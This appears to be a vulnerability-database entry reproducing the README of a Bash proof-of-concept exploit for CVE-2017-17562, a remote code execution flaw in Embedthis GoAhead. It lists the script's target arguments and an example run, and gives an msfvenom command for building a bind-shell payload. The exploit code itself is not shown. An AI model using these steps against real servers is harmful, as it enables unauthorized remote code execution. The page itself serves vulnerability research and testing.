CVE-2017-17562 PoC — Embedthis GoAhead 安全漏洞

来源

关联漏洞

Description

PoC for CVE-2017-17562 written in bash

介绍

# bash-CVE-2017-17562

An PoC implementation in `Bash` for `CVE-2017-17562`.

Requires `curl` for crafting HTTP requests.

Based on [Metasploit](https://www.exploit-db.com/exploits/43877) and [@fssecur3](https://github.com/fssecur3/goahead-rce-exploit) implementations.

## Arguments

The following arguments need to be set as they are required for reconnaissance + payload send:

```
$1: IP/Host of remote vulnerable machine being attacked
$2: Port of remote machine webserver
$4: Path to crafted payload being sent to vulnerable machine
```

Optionally, the following arguments can also be set:

```
$3: If the web server is running under a TLS/SSL tunnel. Defaults to no
$5: Path to list of known vulnerable CGI endpoints, to be used in reconnaissance phase. Defaults to "cgi.endpoints"
```

## Example

```
bash exploit.bash 192.168.1.1 80 yes payload.so cgi.endpoints
```

### Disclaimer

The present code is only for learning and demonstration purposes. You shall not use this in to targets you do not have permission to do so.

No payloads are provided in this repository. However any binary that matches target OS architecture should work. To craft a bind shell payload, you can use `msfvenon`:

```
msfvenom -a <instruction_set> --platform <os> -p generic/shell_bind_tcp LHOST=<attacker_ip_address> LPORT=<target_bind_port> -f elf-so -o payload.so
```

文件快照

 [4.0K]  /data/pocs/f4eef05b7b736eb15ada19c8a28dfb58663d0f36
├── [2.6K]  cgi.endpoints
├── [3.4K]  exploit.bash
├── [1.2K]  LICENSE
└── [1.3K]  README.md

0 directories, 4 files

备注